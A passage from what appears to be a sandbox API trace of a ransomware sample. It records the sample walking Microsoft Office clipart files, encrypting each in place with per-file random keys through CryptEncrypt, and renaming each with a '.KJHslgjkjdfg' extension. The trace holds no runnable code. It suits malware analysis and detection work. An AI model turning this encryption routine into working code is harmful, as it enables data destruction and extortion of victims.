nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.119] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.119] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.119] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.120] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.120] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.120] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.120] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x14f8a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x14f8a, lpOverlapped=0x0) returned 1 [0202.121] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14f90, dwBufLen=0x14f90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x14f90) returned 1 [0202.122] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.122] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x14f90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x14f90, lpOverlapped=0x0) returned 1 [0202.123] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.123] SetEndOfFile (hFile=0x130) returned 1 [0202.125] GetProcessHeap () returned 0x990000 [0202.125] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.125] GetProcessHeap () returned 0x990000 [0202.125] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.kjhslgjkjdfg")) returned 1 [0202.127] CloseHandle (hObject=0x130) returned 1 [0202.127] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a3f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382960.JPG", cAlternateFileName="")) returned 1 [0202.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.130] GetProcessHeap () returned 0x990000 [0202.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.130] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.130] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0202.133] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.133] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.133] GetProcessHeap () returned 0x990000 [0202.133] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.133] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.133] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.133] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.133] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.133] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.133] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.134] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.134] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.134] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.134] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a3f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a3f4, lpOverlapped=0x0) returned 1 [0202.136] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a400, dwBufLen=0x1a400 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a400) returned 1 [0202.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.138] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a400, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a400, lpOverlapped=0x0) returned 1 [0202.138] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.138] SetEndOfFile (hFile=0x130) returned 1 [0202.142] GetProcessHeap () returned 0x990000 [0202.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.142] GetProcessHeap () returned 0x990000 [0202.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.kjhslgjkjdfg")) returned 1 [0202.144] CloseHandle (hObject=0x130) returned 1 [0202.144] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18ac4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382961.JPG", cAlternateFileName="")) returned 1 [0202.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.145] GetProcessHeap () returned 0x990000 [0202.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.145] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.145] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0202.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.148] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.148] GetProcessHeap () returned 0x990000 [0202.148] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.148] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.148] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.148] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.148] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.148] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.149] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.149] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.149] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.149] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.149] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x18ac4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x18ac4, lpOverlapped=0x0) returned 1 [0202.152] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18ad0, dwBufLen=0x18ad0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x18ad0) returned 1 [0202.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.153] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x18ad0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x18ad0, lpOverlapped=0x0) returned 1 [0202.153] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x18ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.153] SetEndOfFile (hFile=0x130) returned 1 [0202.155] GetProcessHeap () returned 0x990000 [0202.155] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.155] GetProcessHeap () returned 0x990000 [0202.155] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.kjhslgjkjdfg")) returned 1 [0202.157] CloseHandle (hObject=0x130) returned 1 [0202.157] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1 [0202.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.158] GetProcessHeap () returned 0x990000 [0202.158] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.158] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0202.161] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.161] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.161] GetProcessHeap () returned 0x990000 [0202.161] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.161] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.161] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.161] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.162] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.162] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.162] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.162] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.162] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.162] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.162] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.162] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bef7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bef7, lpOverlapped=0x0) returned 1 [0202.165] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bf00, dwBufLen=0x1bf00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bf00) returned 1 [0202.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.166] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1bf00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1bf00, lpOverlapped=0x0) returned 1 [0202.167] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.167] SetEndOfFile (hFile=0x130) returned 1 [0202.170] GetProcessHeap () returned 0x990000 [0202.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0202.170] GetProcessHeap () returned 0x990000 [0202.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0202.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.kjhslgjkjdfg")) returned 1 [0202.174] CloseHandle (hObject=0x130) returned 1 [0202.174] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1 [0202.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.175] GetProcessHeap () returned 0x990000 [0202.175] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0202.175] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0202.175] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0202.175] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0202.178] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.178] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.178] GetProcessHeap () returned 0x990000 [0202.178] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0202.178] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0202.178] CryptDestroyKey (hKey=0x9b6628) returned 1 [0202.178] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0202.178] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0202.178] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0202.178] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0202.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0202.178] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0202.178] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0202.178] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0202.179] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.179] 